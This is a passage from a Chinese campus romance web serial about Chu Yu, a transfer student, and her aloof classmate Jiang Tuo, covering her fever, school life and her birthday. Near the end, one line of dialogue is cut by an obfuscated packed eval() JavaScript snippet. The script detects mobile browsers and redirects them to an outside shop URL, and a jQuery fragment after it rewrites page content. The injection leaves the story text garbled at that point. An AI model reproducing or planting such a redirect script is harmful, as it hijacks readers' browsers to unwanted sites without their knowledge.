而且她也想尽快把笔记还给班长，不想耽搁他明天上课记笔记，只是今晚估计要熬个夜了。 晚自习一节课45分钟，很快就过去。 下课的铃声像是解了班上的禁言似的，教室里瞬间变得热闹，同学们说说笑笑的，三三两两结伴离开教室。 初屿没动，她还得等高三下课，和傅迟南薛颜一起回去。高三那边比她们晚二十分钟下课，初屿打算再学十五分钟。她抬头略扫了一眼，班上还有好一部分同学留在教室里，愿意多学习一会。 她目光扫了一圈，又落到斜前方男生身上。 她记得下课铃刚打，齐明就像椅子上有钉子一样腾地一下站起来，刚刚走的时候还喊他一起走。 江妥那会转着笔，懒懒地说了一句再学会儿。 初屿觉得他这个人真的蛮，啧，她都想不到用什么词来形容他。 明明是逃了二节课的人，这会怎么搞的很争分夺秒热爱学习的模样。 不会是有两重人格吧。 因为刚月考完，大家没那么卷，差不多过了十五分钟的时候，班上的人就走的差不多了。 教室里这会只剩下四个人，第一排的袁诗琪和她小同桌邹星琪，后排的初屿和江妥。 晚风一阵阵地，从窗户送进来，窗帘轻轻打着转，夜幕低垂，清亮的星子高悬，一闪一闪，他们两人和两人之间几乎隔了一整个空教室。这让初屿有种她和江妥是一起的错觉。 袁诗琪和邹星琪是寄宿生，赶着熄灯前宿舍洗澡，急匆匆地和初屿打个招呼就抱着书跑下楼了。 初屿也开始收拾书包准备走，她看了一眼江妥，他还在草稿纸上落笔列公式，侧颜认真。 收拾好书包，初屿起身往教室外走。 她走出教室的下一秒，江妥放下笔，干脆利落地起身，关了灯，锁好教室门，快步跑下楼。 初屿背着书包站在桂花楼下花坛的路灯下等，还差两分钟高三才下课，她无聊地垫了垫脚，书包上挂着的小兔子吊坠一晃一晃的。 此时是玉桂的花期，她才在这站了一会，乌黑的长发上就落了一朵奶黄色的桂花。 “不走？” 身后传来少年的嗓音，等初屿反应过来是在问她时，江妥已经走到她身侧。他身后背了个白色的斜挎包，身高体长的，站在一起，初屿只堪堪到他肩膀。 他垂眸，又问了一次：“你还不走？” 初屿：“我等人。” 他噢了一声，心想也是，他何必特意跑回来担这个心，“等家长是吧。” “等朋友，”她指了指高三那栋全亮着灯的楼，“他们还没下课。” 江妥本来都抬腿打算走了，闻言又轻轻皱了下眉，继续问道：“也是女生？” 初屿摇头。 他眼睫颤了一下，也没再多问，“行，那我走了。” - 次日清晨，6点的闹钟响起，初屿揉着眼睛生无可恋地爬起床。她昨晚到现在，只睡了一个半小时，整个人走路都发飘。 外婆近来少睡眠，此时已经躺在悠悠闲闲地躺在小院那棵槐花树下听收音机了。 高三比高二提前十五分钟上早自习，初屿喜欢赖床，她可以晚睡，但绝对不能早起，就没有和薛颜结伴一起去学校。 她背着书包，临出门的时候她看了眼斜后方的院子，爬了半扇蔷薇的院门关着，那里已经住了新的人，再也不是她小时候的秘密乐园了。 到学校时，班上的人都来的差不多了。 齐明和他前桌那个男生正在教室后面，把英语书卷成一个棍，活力满满的在击剑玩。初屿小心的避开乱蹦乱跳的他们，她刚爬到七楼，一坐到座位上，就有力无力地趴在桌子上。 好困啊。 初屿努力撑起眼皮，觉得自己下一秒就要睡着了。 她扫了一眼，发现昨天基本睡了一整天的那位竟然没在睡。 他背倚靠椅子上，双腿随意敞开，眼睛垂着，一手搭在桌子上，一手放在双腿之间，不知道在摆弄什么。 初屿侧首瞥了一眼，发现他在玩手机。 他手上的那 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初屿有些迷茫，昨天她是在食堂小卖部买的水，课间也一直在看笔记，没看到其他同学是在哪打水的。 在她的认知里，饮水机就该规规矩矩的在教室前后的角落里才对。 她反复探头找了几次，觉得头更加晕了。 齐明正在前面没精打采，摇头晃脑地读课文，瞥她的举动后问：“你找什么？” 初屿问：“教室里不能打热水吗？” 齐明指了指外面，“教室里没有，饮水机在走廊转角那里，要用饮水卡，你有吗？” 初屿从钱包里翻出饭卡，她声音有点有气无力的糯：“是这个吗？我看上面写校园一卡通……” “通个屁，是绿色的那张，你用我的吧，”齐明打断她，去翻自己的桌子，他课桌里乱的如同被塞爆的垃圾桶，书本卷子乱七八糟地把课桌都要塞吐了。 初屿见识过他找卷子，每次都要先抽出一大堆书放到地上，才能实现他在课桌里翻找这个动作。 齐明找了一会，没找到，他平常都喝饮料，不然就是打完球随手在楼下小卖部买水，那张卡早就不知道去哪了。 他挠挠头，抬手肘了肘同桌，“妥哥，你水卡呢？给初屿打个水呗。” 他同桌还垂着眼在课桌下打游戏，闻言随手课桌里摸了两下。 然后他拿着手机，手上还在操作着，毫无预兆的起身。走到她桌前，修长的食指勾住她牛奶杯的把手，顺带着把一旁的保温杯也拿了，另一手改单手在打游戏，一边面无表情的操作一边走出了教室。 齐明跟着机械转身，一脸迷茫：“他干嘛去啊，他去给你打水了？” 初屿趴在往桌上贴着的便签纸上写东西，她有记待办事件的习惯，前面写了今天要看到的笔记章节，以及要背的单词本页数。 她在后面一笔一划的加上，办饮水卡，一边写一边默默指出：“……你应该说借给初屿打个水，不是给初屿打个水。” 齐明觉得无语：“我不就那意思吗？把水卡给你去打个水啊。不是，不对啊，他打游戏打傻了吧，平常没见他这么好说话。” 8. 十七岁 初屿写完便签，有气无力地趴在桌上，突然两个杯子落进她呆滞凝固的视线里。 她仰头，很识时务地诚恳道谢：“谢谢妥哥。” 江妥被噎了一下，扯了扯唇，嗓音低淡，“你能正常点？” 他目光下垂，落在初屿衣袖下压着的半截药袋，轻皱了一下眉，扫了一眼她的脸色，站在她桌旁没动。 “你发烧了？” “我说你今天怎么有气无力的，”齐明闻言凑过来，他说着说着，一手搭在自己额头，一手就要探过来试初屿的额头，手伸到一半，被江妥冷着脸啪地一声打掉。 “嘶！”他捂着手痛呼，很委屈道，“痛死我了，我就摸一下看她有没有发烧，你打我干嘛啊？” 江妥没好气，抬了抬下巴，“摸什么摸，生委那有体温计，去借。” “哦，”齐明捂着手，委屈地活像个被抛弃的小媳妇一样，一边起身去找生委邹星琪一边拖着调，“行吧，反正从来都是只见新人笑不见旧人哭。” 江妥扯了下唇，嗓音难掩嫌弃，“你有病是吧？” 过了会，袁诗琪大概是听说了，拿着体温计跟着齐明一起过来，她神情关切，“初屿，你没事吧，快量一下，要是发烧了我陪你去医务室看看。” 江妥回到自己座位上，转过身手肘反撑在桌子上，有一搭没一搭地打量初屿。 初屿解了一颗衬衫领口的扣子，把体温计塞进去，“不用的，如果发烧了退烧药什么我都有。” 她估摸着自己就是个感冒，因为一只手臂夹着体温计不方便，她低头用嘴咬着撕开感冒冲剂的包装，倒进牛奶杯里，慢悠悠地搅着勺子。 袁诗琪顺势坐到齐明的椅子上，问道：“有什么药啊，你给我看看。” 初屿闻言低头，艰难地单手从书包里翻出一个大的印有小兔子图样的透明化妆袋，里面杂七杂八的很多药。 有常见的几种退烧药，还有昨天初屿提过的止痛药布洛芬，药膏也有，消毒水也有，健胃消食片都有，袁诗琪还认识一个是治胃痛的。 她有些惊讶：“初屿，你怎么这么多药，你是不是从小就身体不好？” 初屿因为没力气，说话慢腾腾的，“没有啊，我身体很好的，中考体育满分呢。我小时候身体更好，我外婆说我没学会走路就会爬树，能爬好高，我是我们巷子里爬树最厉害的。” 前排的江妥轻笑了一声。 初屿看他一眼，他略微收敛地扯平唇线。 袁诗琪大概是不能想象她这样一个看着还算挺温柔文静的女孩子爬树第一还那么骄傲，她干咳了一声，“……啊，那你怎么这么多药？” 初屿有些困，捂着唇很轻地打了个哈欠，嗓音懒懒的，“我之前一直当班长来着，班上有人生病我就备着，成习惯了。” 初屿没敢说还有一个原因是她喜欢收集空药盒和空药瓶。 免得别人觉得她是个变态。 齐明立在一旁，手里握着书卷当作那杯菊花茶虚空抿了一口，然后摸了一下压根不存在的啤酒肚，拿腔拿调地说袁诗琪：“读书不认真，就爱瞎操心，人初屿一看就很健康。” 袁诗琪翻了他一个白眼，她打量着初屿，又觉得齐明说的没错。 初屿确实是那种一看就很健康的女生。她发量很多，胎毛细碎，头发乌黑发亮。皮肤干净细腻，眼眸明亮，干净，灵动，充满生机。 如果不是昨晚熬了夜，加上生病，她脸色会更红润一些。 齐明站在初屿桌子旁翻她摆在一旁的贴纸玩，袁诗琪坐着齐明的凳子上一边等着她量体温，边陪着她说话。 江妥早转过身去，在桌子底下玩手机。过了一会，他侧过身，淡声提醒道：“初屿，到点了。” 袁诗琪顿住讲到一半的话，看向坐在身旁的江妥，又看看了初屿。像是察觉到了什么，半刻之后，她垂下眉眼，没再继续刚才的话。 江妥将手伸到昏昏欲睡的初屿面前，命令道：“拿出来。” 他伸过来手臂无意间碰到袁诗琪搭在初屿桌子上的手肘，他没察觉，袁诗琪脸色不自然地红了几分，但没有主动挪开手。 初屿抬起趴在桌子上的脸，垂着眼睛一边从领口把体温计拿出来，一边有气无力地道：“我自己会看……” 但还是把带有温度的体温计放到了他伸出的手里，江妥转了一下/体温计，看向下刻度道：“37.5，这是烧没烧？” “好像有点低烧，”袁诗琪倾身凑过去一起看，江妥噢了一声，直接将体温计递给她。 袁诗琪看了一眼，不放心地说道：“要不然我在这陪着你，你要不舒服喊我陪你去医务室。” 初屿困得不行了，眼睛都有些睁不开，说话也软绵绵的，“没事我免疫力强着呢，你回去看书吧，我等会把药喝了，再睡一觉就行了。” 齐明也在一旁对袁诗琪说道，“哎你可回去吧，这有我看着，你坐这我坐哪啊？我可不坐前面，那没一个会说话的，闷死了。” 袁诗琪瞪了他一眼，交代了初屿几句，起身走了。 刚刚冲的感冒药终于凉了一点，初屿抱着杯子慢腾腾地一小口一小口地喝，喝完吞了颗退烧胶囊，撕了块白桃味的硬糖塞嘴里，皱着眉趴桌上准备睡觉。 刚一趴下，江妥兜头扔过来一件他的校服。 即使她鼻子有些塞，还是能闻到校服上带了一点点清冽的皂角味，淡淡的柠檬汽水味，还有太阳晒过的味道，像是刚从开满花的阳台上收下来一样。 初屿茫茫然地抬头，江妥正起身去关后排的风扇。 最近天气其实有些凉，但因为这边都坐着男生的缘故，后排风扇一整天都是开着的，尤其到了中午的时候，他们打完球会把风扇档位开到最大。 初屿昨天白天倒是没觉得，到了晚自习的时候还觉得挺冷的。 她盯着江妥的背影，他身上还穿着校服，这件应该是他多出来的。 发烧了睡觉是该多穿点，初屿等他关完风扇回来，再次向他道了谢，然后慢吞吞穿上他的校服。 他的校服看上去好像差不多，穿到身上才发现大了不是一点，她拉上拉链，卷了卷衣袖，埋头睡的时候，觉得自己被那点清冽的淡淡柠檬汽水味包围了。 她昏昏沉沉地想。 昨天最后一节晚自习的时候，后排风扇好像也被谁关 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预备铃响起，黑板一侧写了这节课是数学。她去课桌里找书，手碰到温热的触感，她低头，才发现课桌里摆了份早餐，是巷口的豆包和热豆浆。 初屿愣了一下，确定她早上吃剩的那个豆包在学校大门的垃圾桶就丢了。 而这个豆包还冒着热气，她早上也没买豆浆。 初屿抬头，目光落到斜前方男生高瘦的背影上。 他指尖捏着笔，有一下没一下地晃，桌上的书摊开，他目光平视前方，不知道在看什么。 在这个学校，知道她发烧的，通宿的，还住在摇杏巷的，只有他了吧。 初屿的手不自觉地攥了攥盖在膝上的，属于他的校服外套。 她盯着他的侧颜，突然觉得用一个人的小时候去判断他的现在是一件很不对的事情。 江妥在这个时候回头。 初屿觉得，他背后应该是有一双眼睛的。 他转身，掌心向上，讨债似地敲了敲她的桌子，声音压地又低又快，“三块五，给钱。” 初屿：“…………” 她在钱包里找了找，翻出五块钱，啪地一声拍在他手里，发出清脆的响声，她嗓音闷闷的：“找钱！” 他还乐得不行，轻扯着唇，在兜里翻了好久，才找出今天豆包店老板给他的找零。这少爷兜里就这两张是零的，他回头递给她。 初屿接过钱，又恶狠狠地往他手里塞了一颗她最喜欢的，仅剩的一颗白桃味的糖。 算了，小时候的事情就算是和你冰释前嫌了。 江妥收拢手心的糖，他身上倚在椅子上，狭长的桃花眼微弯，意气风发地将手高高扬过头顶再收回来。 他手往上抬时，卷起的袖口往下缩，露出他清瘦分明的腕骨，腕骨上几寸落有一道她之前从未发现的浅褐色刀疤。 初屿看着那道疤。 想起和他在一起，那个惊心动魄的晚上。 她抿了抿唇。 看到啦，我记得，你还是我的救命恩人。 9. 十七岁 初屿觉得自己运气有点好，一场低烧竟然只延续了一个上午，到了中午她的烧就退了，只剩下一点小感冒。 要是持续发烧病上个几天，那她这些天的进度就白补了，淮城一中考试是按淘汰制的，具体的制度她还不太了解，听说期中就会有一次，而且会加上前几次月考的成绩进行排名。 初屿不太想被刷走，她虽然只来了一班一天半，但还挺喜欢这个新班级。 中午外婆发消息让她回家吃饭，说做了她爱吃的糖醋排骨。 初屿早自习趴桌上睡觉的时候捂出一身汗，浑身都黏糊糊的不舒服，本来就想着要跑回去洗个澡。 她把江妥的校服整整齐齐地叠好，收进书包里，准备中午带回去洗了再还给他。 出了学校，回到家初屿第一件事就是钻进浴室洗澡，然后将他的校服塞洗衣机里洗，等完吃了饭，再跑到二楼房间的阳台上将衣服仔细晾好。 回学校之前，初屿又爬上阁楼，在她的藏宝库里拖出一个箱子，翻出一个超大容量的吸管杯。 杯子是磨砂玻璃材质，杯身落满粉色的樱花瓣，吸管机括处巧妙的设计成一个桃子。 这是她收藏的杯子里最大号的了，因为足够大，杯子接了一根粉白相间的背带，可以跟包一样斜挎在身上。 初屿一直坚信感冒了就是要多喝热水，才能好的快，她背上那个杯子，决定一节课要喝一杯。 回到学校，初屿先去球场找傅迟南。 她问了齐明，饮水卡要每周一才能办，但今天才周三。 她刚到这个班，不好意思一连好几天都问别人借饮水卡，饮水卡一分钱一分钱地扣，算钱也不太好算，何况她还计划要喝很多的水。 薛颜的饮水卡一天能丢八百回，这回刚丢，还等着下周一的时候去补办。 于是初屿发了信息找傅迟南借他的饮水卡。 傅迟南让她中午的时候去球场找他拿。 中午的太阳虽然没有夏日那样灼人，但也很热，即使如此，操场上还是有很多男生在打篮球。 初屿找了一圈，终于找到在球场上狂奔的傅迟南。还有江妥，他们和上次那晚一样，聚在在一块儿打球，看上去关系还不错。 傅迟南此时刚好随手投了一个三分，他回头，看见她了，随手指了一下自己搭在阴凉处栏杆上的校服，然后又头也不回地继续跑去抢球了。 初屿顺着他的指示往树下的栏杆处走，那里乱七八糟地搭了不止一件校服外套。 淮城一中除了周一升旗以外并没有规定学生一定要带校牌，所以校服都长的一样。初屿小心的翻了一下，找出那件衣袖上写了个傅字的，摸出口袋里的饮水卡，连带着一小袋话梅糖。 初屿把饮水卡和话梅糖都揣进口袋里。 傅迟南没看到，他正转身把球抛出，江妥跳起，接过球，随手一抛，利落地扔进篮框。他甩了下手，语气淡淡：“不打了，我回去午休。” - 午休铃前十五分钟，初屿从走廊处打完热水回来。 初屿刚一坐下，袁诗琪就过来了，不过不是来找她的，她手上拿着习题集，看上去像是遇到了难题，来问题的。 “江妥，这个题我看了好几遍解析还是看不懂，老师不在，你能帮我看看吗？” 初屿咬着吸管，咕噜咕噜灌下一大口热水，一边喝一边看向前方的江妥。 他不知道什么时候打球上来了。 正坐在桌子上，长腿乱支着，漫不经心地听一旁的几个男生说话，神情冷倦，看上去兴致不高。 他闻言回头，懒洋洋地伸手，接过袁诗琪手上的习题集，回头搁到桌子上，撑着手臂弯腰看了一会。 袁诗琪跟着挪近一点，手臂轻挨着他的，脑袋刚一凑近。 江妥就突然抬手把习题集拍到一侧的齐明身上，嗓音低淡，带着点困倦，“就昨天那个题型，你讲吧，我困。” 齐明拿着看了一眼，确实和昨天他问江妥的那个题型一样。他一向是个很热情的人，立马拿过草稿纸和笔，作势就要讲，“先给你讲一下这个答案上的解析吧，但是妥哥昨天还提了一种更简单的解法，等讲完这个我再给你讲。” 这个习题集是一班集体买的，初屿昨天下午刚去书店买了来，才写了前几页。 她在后面巴望着，见有人讲题，立马抱着那个比她脸还大的大水杯，捧着习题集一边翻一边过来听。 齐明讲了几步，很体贴地询问她们俩，“到这里听懂了吗？” 袁诗琪点头，初屿也点头。 初屿这会刚看完习题集背后的解析，现在在心里想江妥说的另一种更简单的解法是什么。 齐明把答案上的那种解法仔细地拆分讲解完之后，他又问，“听懂了吗？” 他先问初屿，初屿点头。 袁诗琪看向齐明身旁弓着腰打游戏的男生，神情委屈，嗓音像撒娇：“我还是不懂。” 齐明自认为已经讲的够详细了，不过他这人热心，又拿着笔给她讲一遍，这次讲的更慢，更仔细。 初屿坐回自己座位，在草稿纸上试图写出另一种解法，解了一会，草稿纸上落下一片阴影。指节分明的手落到她草稿纸上的图形上，投下一片阴影，修长的指尖轻划了一下，冷色调的嗓音落下，“这里，和中点连起来……” 他说到一半，初屿突然福至心灵，她变得激动，啪的一下打开他的手，嗓音清凌凌的，嚷嚷道：“我知道了我知道，你别说。” 初屿一下就被打通了任督二脉，握着笔开始飞快地写步骤，江妥闲闲地看了她两秒，收回手，很轻地切了一声，继续垂眸打游戏了。 前面的齐明讲完这一部分，问袁诗琪，“听懂了吗？” “你干嘛呢，发什么呆。” 袁诗琪回过神来，她垂下眼，也不知道在想些什么，看上去心不在焉的，语气也轻，“哦，听懂了，然后呢？” - 天气热，一整天的课上的格外沉闷，度日如年，好不容易挨到了晚自习下课。 初屿一下课就收拾好了书包，她是不肯再看一眼书了，觉得再看一眼都是一种折磨，宁可去楼下站着等二十分钟。 按时下课的下场就是楼道里特别多的人，今天天儿热，估计大家都赶着回宿舍排队洗澡，你挤我我挤你的。 初屿看见这场景有点怵，可是已经后知后觉走进楼道里，被人群夹着往下走，想反悔都反悔不了了。 初屿缩成一团环起手臂防御好自己，努力在人群的急流里踩稳脚下的台阶。她不算高，又因为垂着头看路，走到大概三楼拐角处的时候，被三楼一个因为老师拖堂下课晚又着急回宿舍的男同学撞了一下。 也许是因为生病没什么力气，初屿脚下一软，直直地往前摔。 突然间，一侧伸出一双有力的手，拽住她的手腕往一旁拉，他力气很大，初屿被猛地拉进一个人的怀里。 然后，熟悉的气息包裹住了她。 清冽的皂角味，加上清冽的淡淡柠檬汽水的气息，冲散了一点楼道里各种人身上混合的难闻味道。 差点摔下楼梯。 初屿被那一瞬间吓到惊魂失魄，她缓慢地眨了眨眼，堪堪站稳一点，还没反应过来，紧握着她手腕的手就把她拉离一点，然后松开。 接着，头顶传来少年极其不爽的嗓音，尾调下沉，隐隐带着怒气，“你怎么走路的？” 初屿不知道为什么，觉得有些委屈。 被人莫名其妙的凶，她眼圈红了一点，小声辩解道：“是有人撞我的。” 江妥意外垂眸，他顿了一秒，嗓音不可抑制地放轻一点，低声道：“没在说你啊。” 撞了人的男生惊魂未定，才反应过来，连忙回头道歉，“对不起同学，我没看到你，你没事吧？” 初屿摇了摇头，说没关系，男生又很抱歉地说了两句，人群又不客气地接着流动起来。 她被人流携带着继续往楼下走，在心里后悔一百遍今天没有留在教室里学习。 终于走到一楼，走到楼下那颗桂花树下。 夜色澄净。 玉桂飘香。 初屿站在桂花树下，顿了一秒，然后忍无可忍地挣了挣身子，回头怒道：“你还拽着，勒死啦！” 江妥一脸无辜地松开提溜着她书包背带的手，双手懒洋洋地举起，一副不怎么心甘情愿投降的模样，嘴上还挂着痞笑：“怎么好心没好报呢，我这是给你拎高点，免得别人看不见你，把你踩死了。” 初屿平生最讨厌别人说她矮。 她被气得力气也有了，张牙舞爪地去打他，江妥一边乐一边抬起手臂来挡，连连投降，“好好好，我错了，嘶，轻点，轻点啊！” 初屿打够了出了气，自认为也还是个讲道理的人，垂着头，快速又小声地说：“刚才谢谢你啊。” 江妥轻笑了一声，没和她计较，问她：“你还要等人啊。” 初屿点头，解释道：“嗯，我之前不是差点被拐卖嘛，所以家里交代要结伴走。” 江妥若有所思地噢了一声，想多问上一句你家在哪，又觉得自己有点问太多了。于是摆了摆手，准备要走， 初屿喊住他，“你的校服我中午拿回去洗了，明天还给你啊。” “行。” - 回家的路上，薛颜拽着她一路问，“怎么样，今天发生了什么？” “什么什么？” “什么什么什么？你和江妥啊！天呐，他长得那么帅，校草欸！而且还救过你，你就没什么想法吗？你们坐同桌就没发生些什么？” 初屿纠正她，“我都说了不是同桌，我没同桌，他坐在我前面的旁边。” 薛颜：“哎管他呢，他人怎么样，是不是很冷，是不是真的脾气很差到处打架啊？” 傅迟南在一旁啧了一声，“我都说了他脾气不差，那都你们这帮人乱传的。” 初屿被她一问，回想起今天的事。 她忍无可忍，告状道，“拽个鬼啊，都是装的。他幼稚得要死，我真的服了，这辈子没见过这么幼稚的人。就今天中午午休完，我想吃颗糖提下神，他一脸面无表情看上去好凶，竟然抢我的话梅糖你敢信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177113|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？昨天还会伸手要，今天就直接上手抢哦。” 傅迟南听着听着觉得不对劲，反应过来了，问道：“哦！我说我兜里的话梅怎么没了，被你顺走了是吧？” 初屿装作没听见，薛颜震惊：“不是吧！” 初屿明白她的震惊，但是短短一天过去，那少爷顶着一张拽天拽地的冷脸干出什么幼稚的事情她都不会意外了，“真的，而且今天下午，上课睡觉的时候还老是故意伸懒腰，然后啪地一下把我堆在桌子上的书打歪。” 她面无表情道：“我一说他，他就捂着耳朵立马装睡。” 这下连傅迟南都震惊了，“不是吧！” 初屿一脸空白地点头，谁知道她这一天都经历了些什么。 - 晚上回到家里，初屿洗完澡，因为洗澡前喝了感冒药，她有点昏昏欲睡，但还是坚持翻了翻笔记，把今天的知识点和错题都过了一遍。 过完之后，她翻开日记。 因为小学的时候，语文老师要求她们每天要交一篇日记，初屿就一直保持着这个习惯，不写点什么就睡不着。 但她记日记有点随意，反正是给自己看，所以很是随心所欲，经常写上记流水账一样的两句话就了事。 今天她就写了一句话。 【新班级的人都很好，江妥同学也是个很好的幼稚鬼。】 次日清晨。 和煦的清风吹过小巷，不知道谁家的风铃清脆叮咚响，太阳初升，被云遮住一大半，稀稀落落的撒下温和的日光。 江妥单肩背着书包，校服外套松松地拎在手里，额发有些乱，轻垂在眼前，他一脸冷倦地推开院门，准备去上早自习。 无意间抬头一瞥，瞧见斜前方院里二楼的阳台上摆满了花，绿萝葱葱郁郁的遮掩下，隐约可以看见上方挂着一件蓝白条纹的一中校服。 江妥多看了两眼，走出院子，正好看见云香娥从外边买菜回来。 他礼貌喊人：“云奶奶。” 云香娥是个十足的颜控，就喜欢长得好看的，因此对江妥很好。之前有好几次中午还喊过江妥来家里吃饭，这回撞上了，又喊道：“小妥，今天出门这么晚啊，你今天中午来云奶奶家吃饭呗。” 她提了提手上买的两只鱼和一袋子虾，还有一些排骨土豆蔬菜，“今天我外孙女过生日，我买了好多她喜欢的菜，这么多菜，我们祖孙两个人也吃不完，你也来吧。” 江妥刚想说不用了，就听见初屿的嗓音，从刚才他看向的那个挂着一中校服的二楼阳台传来。 “外婆！外婆外婆！我那条裙子呢？” 他愣了两秒，轻扯了下唇，嗓音带着笑，“好啊，谢谢奶奶。” 他话音一落，楼上又开始扯着嗓子嚎，“外婆！！！” “啧，这丫头，这都几点了还在找衣服，那小妥你先去上课，中午一定要来啊，”云香娥一边往院子里走，一边朝楼上喊：“不就在柜子里，你等着我上来给你找。” 初屿今天本来就起晚了，急忙洗漱了一下，等云香娥给她找到了裙子，她拿上书包就往楼下跑，跑到一半又折回来了，到阳台上把江妥的校服取下来，塞进书包里。 又急急忙忙地往外跑，云香娥在后面喊，“今天中午别忘了回家吃饭。” “好！” 她早餐都没来得及买，总算是赶在迟到前到了教室。 坐到座位上，初屿喘了好半天的气，才平复下来。她先摸出手机，今早上起来的时候扫了眼手机发现有很多未读短信，但那个时候她已经比平常起晚了，所以没来得及看。 初屿点开，发现是朋友们发来的生日祝福。 初屿这才发现原来今天是她生日，怪不得外婆交代她中午回去吃饭。 她在宜城，三年，云温枫都没有陪她过过一次生日，她总是在很久才记起，然后给钱让她自己去买点喜欢的东西。 也只有外婆才会记得她的生日，会清晨去买她喜欢的菜，然后花心思做给她吃。 初屿弯了弯唇，觉得被爱的感觉真是好。 她回了短信，抬头，发现课桌里放了个很精致的浮雕铁盒，上面是不知道刻的法语还是什么。 初屿小心地拿出来，颠了颠，里面哗啦哗啦地响。 什么东西，看上去很贵。 她低下头默默地研究了一会，把铁盒的暗扣旋开，一打开，就闻到白桃的甜味，里面是一盒子做成各种形状的白桃味的糖。 初屿看着这盒莫名其妙出现在她课桌里的糖，不知道怎么了，下意识地抬眸看向江妥。 她看了会，伸手轻戳了戳他的背。 江妥放下手里的笔，侧过身来。 初屿发现每次找他，他转身的时候，都会身子尽可能地往后，靠在椅背上，再偏头听她讲话。 她晃了晃那个铁盒子，轻声问：“你给我的啊？” 江妥坦然承认：“那个啊，赔你的话梅糖。” 初屿看了看，又提醒道：“你这个进口的，感觉很贵。” “噢，”江妥一脸无所谓，嗓音散漫又张扬，“爷有钱啊。” 10. 十七岁 初屿噎了一下，很狗腿地说道：“好的江少爷，您以后要看上什么只管拿。” 江妥唇角抽了一下，用一种看白痴的眼神看了她两秒，然后无声地转了回去。 初屿揭开糖盒，拿出一个做成小白兔形状的糖，舍不得似地看了几秒，又放下，换了个普通刻花椭圆的糖，塞进嘴里。 白桃的甜味瞬间浸染整个味蕾，没有她之前最爱吃的那款糖那么腻，就像真的咬了一口新鲜饱满的白桃，尝到了清甜桃汁一样，初屿满足地眯上眼睛，晃了晃腿。 齐明今天迟到了，现在才姗姗来迟，他从后门溜进教室，坐到座位上环顾了下四周，见到没有老师放松下来。 初屿看了齐明一眼，在他转过来和她说话前一秒，藏宝似地把糖盒盖好收进课桌里。 因为一班比学校规定的高二早自习上课时间早十五分钟上课，齐明虽然在班上迟到了八分钟，但在大门处学校记迟到的地方是不算迟到的，所以并不会扣班上的分。 一般这种情况，如果老师没查到，班上的纪律委员好的话，这事儿就可以这么睁一只眼闭一只眼的揭过去。 而一班的纪律委员就属于这种。 因为初屿注意到，除了昨天王德早自习来的时候，撞见的那两个迟到的男生在外面站了会，而且等老师一走他们就大摇大摆地进来了外，其余时间迟到的人直接进教室，没有什么惩罚的。 不过说实话，初屿到现在，好像只知道上次借给她笔记的是班长周俊，有体温计的是生委邹星琪，然后就是坐在她前面的体委齐明。 最容易露面的纪律委员她好像一直没有注意到。 一班虽然成绩好，但不算老实，是那种比较活跃的班。像齐明这样的人后排一抓一大把，有时候班上晚自习有些吵，也没有见纪律委员出来讲两句，后来还是班长起身说的安静。 她有些好奇，一边拿湿纸巾擦刚刚剥下来的糖纸，一边和齐明说，“欸，我们班纪律委员是谁啊？” 齐明转过来，露出一颗小虎牙，笑道：“你终于说我们班了？” 初屿一愣，才发觉之前她有问题问齐明，前缀用的都是你们学校，你们班。 她抿了抿唇，唇边的梨涡若影若现。 为她这次很快的融入新班级而高兴。也为来到一个心里喜欢的班级而高兴。 齐明喝了口水，继续说：“你不知道吗？纪律委员我妥哥啊。” 江妥当纪律委员是高一那会的事，他眉眼偏冷，性子又拽得不可一世。刚一入学，就成了学校的风云人物，关于他的传闻一个比一个吓人，所以高一刚开学那会，班上的人没人敢招惹他。 那会他逃课睡觉，当时的纪律委员压根没胆管他，但学校老师会查啊，怪罪下来，纪律委员又很难做。 所以下一次竞选班委的时候，这少爷一不做二不休，干脆就顺手竞选了个纪律委员。 初屿不敢置信地歪了下头。 她终于知道这班上的氛围为什么这么好的，有个这样的纪律委员，那能不好吗？ 初屿不得不评价道，还是收敛了。 江妥闻言侧首，瞥了初屿一眼，看到她一边说话一边在那擦糖纸，粉白色的透明流光糖纸，在阳光下漾出浮动好看的光，被她压平，又细细地擦干净，再小心翼翼地夹进书里。 他微抬的眼睫轻颤，觉得心口好像被什么东西轻轻地，轻轻地击碎了。 初屿一边把糖纸收好，一边弯着眼睛对看过来的江妥笑，狐狸眼璀璨灵动，一眨不眨盯着人的时候，会让人心脏都漏跳一拍。 “那这样的话，我是不是也可以随便迟到了。” 江妥昂着下巴，轻扯着唇角，似笑非笑地看她，嗓音散漫，嘴上说着：“我跟你很熟吗？” 心里却在说，是，以后你早上找裙子不用急了。 - 初屿早自习还是用来赶落下来的进度，她留了一本数学的笔记，捧着剩下的那一沓笔记本先去前排找班长。 班长坐在二排，坐在邹星琪后面，此时正坐在座位上背英语满分作文，听到初屿的声音，转头过来。 初屿把其余的笔记先还给他，表示先看完数学再来找他要别的，免得耽误他平时记笔记和错题。 班长接过笔记，他嗓音有些紧张，问道：“初屿，你进度赶的怎么样了？我可以帮你补习……如果你需要的话。” 初屿其实觉得还好，并不算太吃力，也不想耽误别人的时间，正打算拒绝时，前面的突然邹星琪转过来笑着起哄道：“啧，班长，你怎么不给我补习呢？我数学都差成那样了。” 袁诗琪跟着转过头也意味深长地拖着调附和道：“对啊，班长，你这多少有点双标啊，你当时怎么不说给我补习呢，上个学期我转过来的时候也落了很多进度啊。” 班长脸有点发红，都不敢抬头看初屿，支支吾吾地说道：“哪有，你们平时问我问题，我都告诉你们了啊。” 初屿轻眨了下眼，这才后知后觉地反应过来，班长也许是对她有些好感，她不好意思地在起哄声说了声谢谢不用了。 等她回到自己桌子上，心里就有些后悔当时接了班长的笔记。 初屿在感情里算是个挺迟钝的人，从小到大，在对方明确又直白地表达自己的心意之前，她都很难主动察觉到。 她和薛颜还有傅迟南一起长大，三人的关系很好，等同家人。因此初屿一直认为男生和女生之间存在单纯的友谊是很平常的事情。 直到进入青春期，她才慢慢明白，有些她认为是表达是朋友间善意友好的事情，其实背后是青涩懵懂的喜欢。 